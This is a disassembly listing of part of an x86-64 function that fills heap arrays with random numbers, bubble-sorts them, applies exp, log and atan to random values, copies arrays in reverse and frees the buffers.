jmp 0x2612b32df
call sym.rand
mov edx, eax
mov eax, edx
shl eax, 2
add eax, edx
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x26137a0c8]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.exp
movq rax, xmm0
mov qword [rbp - 0x18], rax
add dword [rbp + 0xea28], 1
cmp dword [rbp + 0xea28], 0x1e
jle 0x2612b329e
mov dword [rbp + 0xea24], 0x244
mov ecx, 0x14c
call sym.malloc
mov qword [rbp + 0x91a8], rax
mov dword [rbp + 0xea20], 0
jmp 0x2612b339b
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0xea20]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x91a8]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0xea20], 1
cmp dword [rbp + 0xea20], 0x52
jle 0x2612b3312
mov dword [rbp + 0xea20], 0
jmp 0x2612b34ac
mov dword [rbp - 0xc], 0
jmp 0x2612b3491
mov eax, dword [rbp + 0xea20]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x91a8]
add rax, rdx
movss xmm0, dword [rax]
mov eax, dword [rbp - 0xc]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x91a8]
add rax, rdx
movss xmm1, dword [rax]
comiss xmm0, xmm1
jbe 0x2612b348a
mov eax, dword [rbp - 0xc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x91a8]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp - 0x10], xmm0
mov eax, dword [rbp + 0xea20]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x91a8]
add rdx, rax
mov eax, dword [rbp - 0xc]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x91a8]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp - 0xc]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x91a8]
add rax, rdx
movss xmm0, dword [rbp - 0x10]
movss dword [rax], xmm0
add dword [rbp + 0xea20], 1
mov eax, 0x52
sub eax, dword [rbp + 0xea20]
cmp dword [rbp - 0xc], eax
jl 0x2612b33c3
add dword [rbp + 0xea20], 1
cmp dword [rbp + 0xea20], 0x52
jle 0x2612b33b7
mov rax, qword [rbp + 0x91a8]
mov rcx, rax
call sym.free
mov ecx, 0x6d4
call sym.malloc
mov qword [rbp + 0x91a0], rax
mov dword [rbp + 0xea1c], 0
jmp 0x2612b3571
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0xea1c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x91a0]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0xea1c], 1
cmp dword [rbp + 0xea1c], 0x1b4
jle 0x2612b34e8
mov dword [rbp + 0xea1c], 0
jmp 0x2612b3685
mov dword [rbp - 4], 0
jmp 0x2612b366a
mov eax, dword [rbp + 0xea1c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x91a0]
add rax, rdx
movss xmm0, dword [rax]
mov eax, dword [rbp - 4]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x91a0]
add rax, rdx
movss xmm1, dword [rax]
comiss xmm0, xmm1
jbe 0x2612b3663
mov eax, dword [rbp - 4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x91a0]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp - 8], xmm0
mov eax, dword [rbp + 0xea1c]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x91a0]
add rdx, rax
mov eax, dword [rbp - 4]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x91a0]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp - 4]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x91a0]
add rax, rdx
movss xmm0, dword [rbp - 8]
movss dword [rax], xmm0
add dword [rbp + 0xea1c], 1
mov eax, 0x1b4
sub eax, dword [rbp + 0xea1c]
cmp dword [rbp - 4], eax
jl 0x2612b359c
add dword [rbp + 0xea1c], 1
cmp dword [rbp + 0xea1c], 0x1b4
jle 0x2612b3590
mov rax, qword [rbp + 0x91a0]
mov rcx, rax
call sym.free
mov dword [rbp + 0xea18], 0
jmp 0x2612b36ee
call sym.rand
imul eax, eax, 0x1ef
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x26137a0c8]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.log
movq rax, xmm0
mov qword [rbp], rax
add dword [rbp + 0xea18], 1
cmp dword [rbp + 0xea18], 0xf9
jle 0x2612b36b0
mov dword [rbp + 0xea14], 0xffffffff
mov ecx, 0xae0
call sym.malloc
mov qword [rbp + 0x9198], rax
add dword [rbp + 0xea14], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0xea14]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x9198]
add rax, rdx
movsd xmm1, qword [0x26137a0c8]
divsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0xea14]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x9198]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0xea14]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x9198]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.atan
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0xea14], 0x15a
jle 0x2612b3715
mov ecx, 0xa4
call sym.malloc
mov qword [rbp + 0x9190], rax
mov ecx, 0xa4
call sym.malloc
mov qword [rbp + 0x9188], rax
mov ecx, 0xa4
call sym.malloc
mov qword [rbp + 0x9180], rax
mov ecx, 0xa4
call sym.malloc
mov qword [rbp + 0x9178], rax
mov dword [rbp + 0xea0c], 0x28
mov dword [rbp + 0xea10], 0
jmp 0x2612b3917
call sym.rand
mov edx, dword [rbp + 0xea10]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x9190]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sym.rand
mov edx, dword [rbp + 0xea10]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x9188]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0xea0c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x9190]
add rax, rdx
mov edx, dword [rbp + 0xea10]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x9180]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0xea0c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x9188]
add rax, rdx
mov edx, dword [rbp + 0xea10]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x9178]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0xea0c], 1
add dword [rbp + 0xea10], 1
cmp dword [rbp + 0xea10], 0x28
jle 0x2612b380b
mov rax, qword [rbp + 0x9190]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x9188]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x9180]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x9178]
mov rcx, rax
call sym.free
mov dword [rbp + 0xea08], 0xffffffff
mov ecx, 0x970
call sym.malloc
mov qword [rbp + 0x9170], rax
add dword [rbp + 0xea08], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x26137a0c8]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0xea08]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x9170]
add rax, rdx
movsd xmm1, qword [0x26137a0d0]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0xea08]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x9170]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0xea08]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x9170]
add rax, rdx
movq xmm1, qword [0x26137a0e0]
andpd xmm0, xmm1
movsd qword [rax], xmm0
cmp dword [rbp + 0xea08], 0x12c
jle 0x2612b397b
mov ecx, 0x624
call sym.malloc
mov qword [rbp + 0x9168], rax
mov ecx, 0x624
call sym.malloc
mov qword [rbp + 0x9160], rax
mov ecx, 0x624
call sym.malloc
mov qword [rbp + 0x9158], rax
mov ecx, 0x624
call sym.malloc
mov qword [rbp + 0x9150], rax
mov dword [rbp + 0xea00], 0x188
mov dword [rbp + 0xea04], 0
jmp 0x2612b3b8a
call sym.rand
mov edx, dword [rbp + 0xea04]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x9168]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sym.rand
mov edx, dword [rbp + 0xea04]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x9160]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0xea00]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x9168]
add rax, rdx
mov edx, dword [rbp + 0xea04]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x9158]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0xea00]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x9160]
add rax, rdx
mov edx, dword [rbp + 0xea04]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x9150]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0xea00], 1
add dword [rbp + 0xea04], 1
cmp dword [rbp + 0xea04], 0x188
jle 0x2612b3a7e
mov rax, qword [rbp + 0x9168]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x9160]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x9158]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x9150]
mov rcx, rax
call sym.free
mov dword [rbp + 0xe9f8], 0xfa
mov dword [rbp + 0xe9fc], 0xfa
jmp 0x2612b3bfa
mov eax, dword [rbp + 0x9330]
movups xmm6, xmmword [rbp + 0xeab0]
add rsp, 0xeb48
pop rbx
pop rbp
ret